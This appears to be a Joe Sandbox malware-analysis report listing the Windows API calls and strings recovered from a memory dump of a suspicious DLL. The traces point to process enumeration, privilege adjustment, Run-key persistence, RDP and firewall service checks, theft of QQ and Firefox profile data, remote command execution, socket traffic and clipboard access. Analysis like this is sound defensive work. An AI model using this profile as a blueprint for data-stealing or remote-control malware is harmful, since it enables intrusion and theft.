LocalAlloc.KERNEL32 ref: 10027652
Process32First.KERNEL32(?,?), ref: 1002766F
OpenProcess.KERNEL32(00000410,00000000,00000128), ref: 1002768B
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 100276C2
K32GetProcessImageFileNameA.KERNEL32(00000000,?,00000104), ref: 100276D6
lstrcpy.KERNEL32(?,100789F8), ref: 100276ED
lstrcat.KERNEL32(?,100789F8), ref: 10027717
OpenProcessToken.ADVAPI32(?,00000008,?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027782
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277AA
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277BB
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277D7
LookupAccountSidA.ADVAPI32(00000000,?,00000000,?), ref: 10027827
LookupAccountSidA.ADVAPI32(00000000,?,?,00000000,?,?,?), ref: 1002786C
lstrcpy.KERNEL32(?,?), ref: 10027886
GlobalFree.KERNEL32(00000000), ref: 10027891
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278A0
lstrcpy.KERNEL32(?,100789FC), ref: 100278C7
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278DE
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278EE
LocalSize.KERNEL32(?), ref: 10027904
LocalReAlloc.KERNEL32(?,?,00000042,?,?,?,?,?,?,?,00000040,00000400), ref: 10027916
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027931
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 1002794F
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027962
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 1002798A
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100279A5
lstrlen.KERNEL32(?), ref: 100279C9
K32GetProcessMemoryInfo.KERNEL32 ref: 10027A07
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10027A5C
GetFileSize.KERNEL32(00000000,00000000), ref: 10027A6E
CloseHandle.KERNEL32(?), ref: 10027A7D
CloseHandle.KERNEL32(00000000), ref: 10027A97
Process32Next.KERNEL32(?,?), ref: 10027AA6
LocalReAlloc.KERNEL32(00000000,00000001,00000042), ref: 10027ABC
GetCurrentProcess.KERNEL32(00000028,?), ref: 10027ACB
OpenProcessToken.ADVAPI32(00000000), ref: 10027AD2
LookupPrivilegeValueA.ADVAPI32 ref: 10027B01
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027B1B
GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 10027B21
CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027B2B
CloseHandle.KERNEL32(?), ref: 10027B35

Strings

(, xrefs: 100279FC

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Process$lstrlen$Token$CloseHandle$AllocLocalLookupOpen$Filelstrcpy$AccountAdjustCreateCurrentErrorGlobalInformationLastPrivilegePrivilegesProcess32SizeValue$EnumFirstFreeImageInfoMemoryModulesNameNextSnapshotToolhelp32lstrcat
String ID: (
API String ID: 984035923-3887548279
Opcode ID: fd6585c358f96cfdc9b269380d91c8ebd9ab5436efa172c2696d2331d90e9987
Instruction ID: 62c872b500d01a8f27c623fe9ca2f01bd6a197061a5aa54a91127d6cb793920b
Opcode Fuzzy Hash: fd6585c358f96cfdc9b269380d91c8ebd9ab5436efa172c2696d2331d90e9987
Instruction Fuzzy Hash: 25F14C71508351AFE720CBA0DC89F9BB7EAFF84705F410919FA89D6190EBB4D548CB92

Function 100334A0 Relevance: 79.2, APIs: 32, Strings: 12, Instructions: 2227filestringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 100335A0
RegCloseKey.ADVAPI32(?), ref: 1003363A
GetTickCount.KERNEL32 ref: 100337CE
gethostname.WS2_32(?,00000040), ref: 100339EF
GetUserNameA.ADVAPI32(?,?), ref: 10033BBC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000FF), ref: 10033BC6
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 10033DAA
GetDriveTypeA.KERNEL32(?,?,00000000), ref: 10033FC3
GetDiskFreeSpaceExA.KERNEL32(?,?,?,?), ref: 10033FE7
lstrcpy.KERNEL32(?,10078F08), ref: 1003429C
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100342D2
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,00000000), ref: 1003452D
wsprintfA.USER32 ref: 10034551
OpenServiceA.ADVAPI32(00000000,10079798,000F01FF,?,?,?,?,00000000), ref: 1003456A
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,00000000), ref: 1003457E
wsprintfA.USER32 ref: 1003459C
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100345FF
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003487B
SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 10034ADA
FindFirstFileA.KERNEL32(?,?), ref: 10034B69
FindNextFileA.KERNEL32(00000000,?), ref: 10034B79
FindNextFileA.KERNEL32(00000000,?), ref: 10034B87
FindNextFileA.KERNEL32(00000000,00000010), ref: 10034BCC
EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 10034E6B
_strftime.LIBCMT ref: 10035103
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,10078DA8,80000000,?), ref: 1003514F
QueryServiceStatus.ADVAPI32(00000000), ref: 1003515F
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,10078DB0,80000000,?), ref: 100351A8
QueryServiceStatus.ADVAPI32(00000000), ref: 100351B2
GetLocaleInfoW.KERNEL32(00000800,00000002,?,00000100), ref: 10035275
WideCharToMultiByte.KERNEL32(00000001,00000000,?,?,00000000,00000000,00000000,00000000), ref: 100352A7
WideCharToMultiByte.KERNEL32(00000001,00000000,?,?,00000000,?,00000000,00000000), ref: 10035316

Part of subcall function 1001CEF0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 1001CFA1

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100354F7
SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 100345E1
SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp, xrefs: 10034296
Mb, xrefs: 10033E14
* , xrefs: 10034E99
MpsSvc, xrefs: 1003512F
Gb, xrefs: 10034057
SharedAccess, xrefs: 10035188
| , xrefs: 10034BAB
Error code:, xrefs: 10033BCE
QQ : , xrefs: 10034C1B
\Tencent\Users\*.*, xrefs: 10034B2A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: FileOpen$FindServiceStatus$ManagerNextQuery$ByteCharMultiNameWidelstrlenwsprintf$CloseCountDiskDisplayDriveEnumErrorFirstFolderFreeGlobalInfoIos_base_dtorLastLocaleMemoryModulePathSettingsSpaceSpecialTickTypeUser_strftimegethostnamelstrcpystd::ios_base::_
String ID: * $ Gb$ Mb$ | $Error code:$MpsSvc$QQ : $SOFTWARE\Microsoft\Windows\CurrentVersion\Run$SYSTEM\CurrentControlSet\Control\Terminal Server$SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp$SharedAccess$\Tencent\Users\*.*
API String ID: 372486894-4231670452
Opcode ID: eaed5042144f554442736e58f93556f7f2d281011c71e288a8947776c2459ae4
Instruction ID: ef9dccbb990c63d91164f13d1b0abb2c3a2552d255cc7f59dea9c93b795c0180
Opcode Fuzzy Hash: eaed5042144f554442736e58f93556f7f2d281011c71e288a8947776c2459ae4
Instruction Fuzzy Hash: DC13AF74D002989FEB25CB24CC85BDDB7B6EB45301F1081D9E589AB281EBB5ABD4CF50

Function 1002C350 Relevance: 56.6, APIs: 37, Instructions: 1121stringfileprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 1002C3CD
lstrcat.KERNEL32(?,1007918C), ref: 1002C3DF
CreateDirectoryA.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3E8
GetLastError.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3F2
FindFirstFileA.KERNEL32(?,?,?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C411
lstrcpy.KERNEL32(?,?), ref: 1002C455
lstrcat.KERNEL32(?,10078558), ref: 1002C467
lstrcat.KERNEL32(?,?), ref: 1002C47B
lstrcpy.KERNEL32(?,?), ref: 1002C4A4
lstrcat.KERNEL32(?,10078558), ref: 1002C4B6
lstrcat.KERNEL32(?,?), ref: 1002C4CA
lstrcmp.KERNEL32(?,100785A8), ref: 1002C4E5
lstrcmp.KERNEL32(?,100785AC), ref: 1002C4FB
CreateDirectoryA.KERNEL32(?,00000000), ref: 1002C50E
GetLastError.KERNEL32 ref: 1002C518
CopyFileA.KERNEL32(?,?,00000000), ref: 1002C54F
_strstr.LIBCMT ref: 1002C569
_strstr.LIBCMT ref: 1002C581

Part of subcall function 1001C910: __CxxThrowException@8.LIBVCRUNTIME ref: 1001C93D
Part of subcall function 1001C910: __CxxThrowException@8.LIBVCRUNTIME ref: 1001C97C
Part of subcall function 1001C910: ___std_exception_copy.LIBVCRUNTIME ref: 1001C9AF

CreateFileA.KERNEL32(100791A4,80000000,00000003,00000000,00000003,00000000,00000000,Function_00029180,00000000,00000000,00000000,?), ref: 1002C7C2
CreatePipe.KERNEL32(?,?,?,00000000), ref: 1002C859
CreateProcessA.KERNEL32(?,?,00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?), ref: 1002C8F1
_strstr.LIBCMT ref: 1002CAD6
_strstr.LIBCMT ref: 1002CAFD
__alldvrm.LIBCMT ref: 1002CBE7
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000,00000001,?,?,?,00000000), ref: 1002CC57
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002CC6E
CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?), ref: 1002CDE5
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?,?), ref: 1002CE59
ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 1002CE81
ReadFile.KERNEL32(?,?,00001000,?,00000000,?,00000000,?), ref: 1002CF19
_strstr.LIBCMT ref: 1002CFC6
_strstr.LIBCMT ref: 1002CFE6
__alldvrm.LIBCMT ref: 1002D0D4
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002D144
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002D15B
FindNextFileA.KERNEL32(?,00000010), ref: 1002D2BD
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 1002D3B7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$Create$_strstr$lstrcat$Read$lstrcpy$DirectoryErrorException@8FindLastPipePointerProcessThrow__alldvrmlstrcmp$CopyFirstIos_base_dtorNext___std_exception_copystd::ios_base::_
String ID:
API String ID: 785693070-0
Opcode ID: 0e5beaab013e4b02d41b13fb7c9da6e0ff511a7466300b9bcb2e29bad7722ea0
Instruction ID: c6aac867a3ae8722f7bed68f6ea5494810b815fd492b74a42de3eb4e70333ae2
Opcode Fuzzy Hash: 0e5beaab013e4b02d41b13fb7c9da6e0ff511a7466300b9bcb2e29bad7722ea0
Instruction Fuzzy Hash: 77A2CD71D002699FEB21CB60DC98FDAB7B9EF44345F5041E9E809A7281EB71AE85CF50

Function 1002D720 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 198stringfileprocessCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1002D75B
lstrcpy.KERNEL32(?,?), ref: 1002D799
CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000), ref: 1002D7C3
GetFileSize.KERNEL32(00000000,00000000), ref: 1002D7D7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1002D7F9
_strstr.LIBCMT ref: 1002D809
_strstr.LIBCMT ref: 1002D828
_strstr.LIBCMT ref: 1002D840
lstrcpy.KERNEL32(?,?), ref: 1002D883
lstrcpy.KERNEL32(?,?), ref: 1002D8AF
lstrcpy.KERNEL32(?,10079264), ref: 1002D8F5
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1002D9C6
CloseHandle.KERNEL32(00000000), ref: 1002D9CD

Strings

D, xrefs: 1002D95A
1, xrefs: 1002D86C
firefox.exe, xrefs: 1002D8FB

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: lstrcpy$File_strstr$Create$CloseFolderHandlePathProcessReadSize
String ID: 1$D$firefox.exe
API String ID: 4099344064-3475012443
Opcode ID: 1dc5e8989785b4bda7ccfddf2bba8779ed50f560ced8dadd8f45b7337581cef6
Instruction ID: 21b72cd11bd9bf49f1dd58248626e67e70ffaeac0b62a91f251ab15fe1912ece
Opcode Fuzzy Hash: 1dc5e8989785b4bda7ccfddf2bba8779ed50f560ced8dadd8f45b7337581cef6
Instruction Fuzzy Hash: 6C7164B2D0072D6ADB21D7A0DC45FDA77BCEB49705F440196F608E6081EBB4AB84CFA4

Function 10022450 Relevance: 25.9, APIs: 17, Instructions: 400networkstringthreadCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 100224DB
GetLastError.KERNEL32 ref: 1002250B
RtlEnterCriticalSection.NTDLL(?), ref: 10022539
shutdown.WS2_32(?,00000002), ref: 1002254E
RtlLeaveCriticalSection.NTDLL(?), ref: 10022555
lstrcpy.KERNEL32(?,?), ref: 100225B6
lstrlen.KERNEL32(?), ref: 100225C3
gethostbyname.WS2_32(?), ref: 100225DB
GetLastError.KERNEL32 ref: 100225E5
CreateThread.KERNEL32(00000000,00000000,100226D0,?,00000000,00000000), ref: 1002264F
socket.WS2_32(00000002,00000001,00000006), ref: 1002274A
GetLastError.KERNEL32 ref: 10022760
connect.WS2_32(?,?,00000010), ref: 100227CF
getsockname.WS2_32(?,?,?), ref: 10022804
select.WS2_32(00000000,?,00000000,00000000,?), ref: 10022917
recv.WS2_32(?,?,00004FFB,00000000), ref: 10022941
GetLastError.KERNEL32 ref: 1002297B

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast$CriticalSection$CreateEnterLeaveThreadconnectgethostbynamegetsocknamelstrcpylstrlenrecvselectsendshutdownsocket
String ID:
API String ID: 1762070719-0
Opcode ID: f12f43f355e2913f1fb6564092dbc3e05adfa8f446e04b4b636a7539f2386c4d
Instruction ID: 530412d358ef13cd30eb6eff3d6d5f725b22ec64da2f134dd1707c756a858e9a
Opcode Fuzzy Hash: f12f43f355e2913f1fb6564092dbc3e05adfa8f446e04b4b636a7539f2386c4d
Instruction Fuzzy Hash: 53F1A175A00629AFDB20CFA4DC85BDEB7B5EF49311F4041DAE609AB281D7709E84CF90

Function 100283A0 Relevance: 21.3, APIs: 14, Instructions: 337filesleepmemoryCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 10028456
FindClose.KERNEL32(00000000), ref: 1002858C
RemoveDirectoryA.KERNEL32(?), ref: 10028598
Sleep.KERNEL32(00000001,?,?), ref: 1002860B
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,?), ref: 10028628
GetFileSize.KERNEL32(00000000,00000000,?,?), ref: 1002863D
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,?), ref: 1002866C
GetFileSize.KERNEL32(00000000,00000000,?,?), ref: 10028683
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 100286B2
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 100286E1
LocalAlloc.KERNEL32(00000040,00000001), ref: 10028756
LocalFree.KERNEL32(00000000,00000000,00000001), ref: 1002877D
CloseHandle.KERNEL32(00000000,?,?), ref: 10028793
Sleep.KERNEL32(000001F4,?,?), ref: 1002879E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$CloseCreateFindLocalSizeSleep$AllocDirectoryFirstFreeHandlePointerReadRemove
String ID:
API String ID: 2870245554-0
Opcode ID: 5c02852aca5b1ad305ddcb12ea57ff70cade89943826154d1dce3a01b81c7d6d
Instruction ID: 9abde7887f01a9e4308f1e1e6579fd59006c6bdb325a6c287ec11336e428b0a8
Opcode Fuzzy Hash: 5c02852aca5b1ad305ddcb12ea57ff70cade89943826154d1dce3a01b81c7d6d
Instruction Fuzzy Hash: C8C16635D012149FEB11CB74DC89BEEBBB6EF46304F904258F906A7192EB74AB84C760

Function 10023110 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 266filememorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 10023188
FindFirstFileA.KERNEL32(?,?), ref: 100231DC
lstrcpy.KERNEL32(?,?), ref: 1002320C
_strstr.LIBCMT ref: 10023370
LocalAlloc.KERNEL32(00000040,00000400), ref: 10023387
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 100233F5
LocalSize.KERNEL32(00000000), ref: 100233FE
Sleep.KERNEL32(0000000A,00000000,00000000), ref: 1002340F
LocalFree.KERNEL32(00000000), ref: 10023416
FindNextFileA.KERNEL32(?,00000010), ref: 1002342E
FindClose.KERNEL32(?), ref: 10023449

Strings

\, xrefs: 100231A7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Local$Find$AllocFilelstrcpy$CloseFirstFreeNextSizeSleep_strstr
String ID: \
API String ID: 2400463266-2967466578
Opcode ID: c75ebdeda7fae14cea93437a2d9b9780273bf63878692337f621c6d7cb7d4005
Instruction ID: a9bc2ec9a5e4d5509740a9c8aa022550c3b9fc9fb83989263553e61ed903fb2f
Opcode Fuzzy Hash: c75ebdeda7fae14cea93437a2d9b9780273bf63878692337f621c6d7cb7d4005
Instruction Fuzzy Hash: 09A1F6754083869FC711CF20DC95B9B7BEAEF46344F858859E9C587241EB33EA09C762

Function 1002C000 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 137clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 1002C01E
EmptyClipboard.USER32 ref: 1002C02C
GlobalAlloc.KERNEL32(00002000,?), ref: 1002C03C
GlobalLock.KERNEL32(00000000), ref: 1002C048
GlobalUnlock.KERNEL32(00000000), ref: 1002C05E
SetClipboardData.USER32(00000001,00000000), ref: 1002C067
CloseClipboard.USER32 ref: 1002C06D
OpenClipboard.USER32(00000000), ref: 1002C084
GetClipboardData.USER32(00000001), ref: 1002C094
GlobalLock.KERNEL32(00000000), ref: 1002C09B
CloseClipboard.USER32 ref: 1002C15F

Strings

NULL, xrefs: 1002C0A7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpen$AllocEmptyUnlock
String ID: NULL
API String ID: 153879042-324932091
Opcode ID: 0d61714ba7b5f0c40e36a24a6666119437ac47073f95aa2b9919093933bbc768
Instruction ID: 400162aeeb1ea5b9ca1cf531f64844b92407e51fb74a7b43c8ec825263358158
Opcode Fuzzy Hash: 0d61714ba7b5f0c40e36a24a6666119437ac47073f95aa2b9919093933bbc768
Instruction Fuzzy Hash: 3D413A3A404256AFD711CFB4DC89EAABFBAEF472407068199ED85DB202DE31E505C7E1

Function 100244D0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156filestringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 10024520
wsprintfA.USER32 ref: 1002454C
FindFirstFileA.KERNEL32(?,?), ref: 10024563
wsprintfA.USER32 ref: 100245AB
wsprintfA.USER32 ref: 100245CE
FindNextFileA.KERNEL32(00000000,?), ref: 100246AC
FindClose.KERNEL32(?), ref: 100246C7

Part of subcall function 10037ACA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 10037AD6
Part of subcall function 10037ACA: __CxxThrowException@8.LIBVCRUNTIME ref: 10037AE4

Strings

., xrefs: 10024580

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Findwsprintf$File$CloseException@8FirstNextThrowlstrlenstd::invalid_argument::invalid_argument
String ID: .
API String ID: 648996880-248832578
Opcode ID: c59b87833085ea7394338ed07c7c7e93f14cb1358d830d3aa1380a1bc0eb6459
Instruction ID: a81bd424a75b6edb125dd219aae49f712d71b39fc0785eabed3f65e50fb2d0b0
Opcode Fuzzy Hash: c59b87833085ea7394338ed07c7c7e93f14cb1358d830d3aa1380a1bc0eb6459
Instruction Fuzzy Hash: 8A51C3B1900228AFDB25CF64DC88BDEB7B9EF09300F4145D9E609A7241DF34AB848F65

Function 10024730 Relevance: 12.2, APIs: 8, Instructions: 159filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 1002477A
FindClose.KERNEL32(00000000), ref: 100247EE
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 10024809
Sleep.KERNEL32(000001F4), ref: 10024839
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 1002485A
CloseHandle.KERNEL32(00000000), ref: 10024866
GetLastError.KERNEL32 ref: 100248A3
wsprintfA.USER32 ref: 100248BA

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$CloseCreateFind$ErrorFirstHandleLastSleepwsprintf
String ID:
API String ID: 1612440928-0
Opcode ID: cabf3bdbed042bf51ebf373f31938e7904f6aa94265057035e2e7ef716c5db20
Instruction ID: 95f9f6e4f95b3b344b267a2b4f5f7afd8c5787e944251514b1b3a7f9b94cb743
Opcode Fuzzy Hash: cabf3bdbed042bf51ebf373f31938e7904f6aa94265057035e2e7ef716c5db20
Instruction Fuzzy Hash: 3F516775904759ABE720CF64EC85FDAB7BDEB0A301F4202A5FA1997181DF70AE848F50

Function 1002C170 Relevance: 12.1, APIs: 8, Instructions: 133filestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 1002C1B4
CreateDirectoryA.KERNEL32(?,00000000), ref: 1002C1D1
FindFirstFileA.KERNEL32(?,?,?,00000000), ref: 1002C1FC
lstrcpy.KERNEL32(?,?), ref: 1002C243
lstrcpy.KERNEL32(?,?), ref: 1002C28A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000000), ref: 1002C2E4
CopyFileA.KERNEL32(?,?,00000000), ref: 1002C31A
FindNextFileA.KERNEL32(?,00000010,?,?,?,?,00000000), ref: 1002C32D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Filelstrcpy$CreateDirectoryFind$CopyFirstNext
String ID:
API String ID: 835149165-0
Opcode ID: e93e67be7cef07d6650ea99c290638fb7a92c95ef7197641ddea0c58a8016949
Instruction ID: 494b491f79b9f7d22e9fa64d10fb8d7a3fe34fa55ed2fd2c2ee68dea3d663ada
Opcode Fuzzy Hash: e93e67be7cef07d6650ea99c290638fb7a92c95ef7197641ddea0c58a8016949
Instruction Fuzzy Hash: 93414EB1D0022DAADB10DBA0DC85FDA77BDEB08704F8109D6E709E2051EB749B88CF95

Function 100230CD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187filestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 10023188
FindFirstFileA.KERNEL32(?,?), ref: 100231DC
lstrcpy.KERNEL32(?,?), ref: 1002320C
FindNextFileA.KERNEL32(?,00000010), ref: 1002342E

Strings

\, xrefs: 100231A7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: FileFindlstrcpy$FirstNext
String ID: \
API String ID: 2764145207-2967466578
Opcode ID: 58b80f01ab7c2801b00470d679980a0ebd7ea3bec0e140ae251f181d84d78490
Instruction ID: 70e9d521bbe3c211fdc09d11bca489ecf1c7166b67d648f911c2adb956e0c797
Opcode Fuzzy Hash: 58b80f01ab7c2801b00470d679980a0ebd7ea3bec0e140ae251f181d84d78490
Instruction Fuzzy Hash: 8F61D47140838A9FC711CF60EC95BDB7BEAEF4A344F448899E9C48B152D736A90DCB52

Function 1005B61D Relevance: 7.8, APIs: 5, Instructions: 253COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1004E0DC: GetLastError.KERNEL32(?,?,?,1003ED3E,?,?,?,?,1003EE09,?,?,10085840), ref: 1004E0E1
Part of subcall function 1004E0DC: SetLastError.KERNEL32(00000000,100811E4,000000FF,?,1003EE09,?,?,10085840), ref: 1004E17F

GetACP.KERNEL32(00000055,?,?,?,?,?,1004F52B,?,?,?,?,?,?,00000005), ref: 1005B6DE
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,1004F52B,?,?,?,?,?,?,00000005), ref: 1005B709
_wcschr.LIBVCRUNTIME ref: 1005B79D
_wcschr.LIBVCRUNTIME ref: 1005B7AB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,1004F52B,00000000,1004F64B), ref: 1005B86E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID:
API String ID: 4147378913-0
Opcode ID: e2e83e29fddc58e32a926a91443d95557941a7bc456b83e047a3e7626ea2dd0d
Instruction ID: f4100ba16a994014ef307abb055ab7ad8399c76de4691ded939d6f181299281c
Opcode Fuzzy Hash: e2e83e29fddc58e32a926a91443d95557941a7bc456b83e047a3e7626ea2dd0d
Instruction Fuzzy Hash: 7A71E675A00A06AAE714EB65CC86BAB73ECEF48790F114439F905DB181EB74FD48CB64

Function 1005B8C3 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1004E0DC: GetLastError.KERNEL32(?,?,?,1003ED3E,?,?,?,?,1003EE09,?,?,10085840), ref: 1004E0E1
Part of subcall function 1004E0DC: SetLastError.KERNEL32(00000000,100811E4,000000FF,?,1003EE09,?,?,10085840), ref: 1004E17F

EnumSystemLocalesW.KERNEL32(1005B81A,00000001,00000005,?,?,1005C08E,1004F524,00000055,?,?,?,?,1004F524,?,?,?), ref: 1005B8FA

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
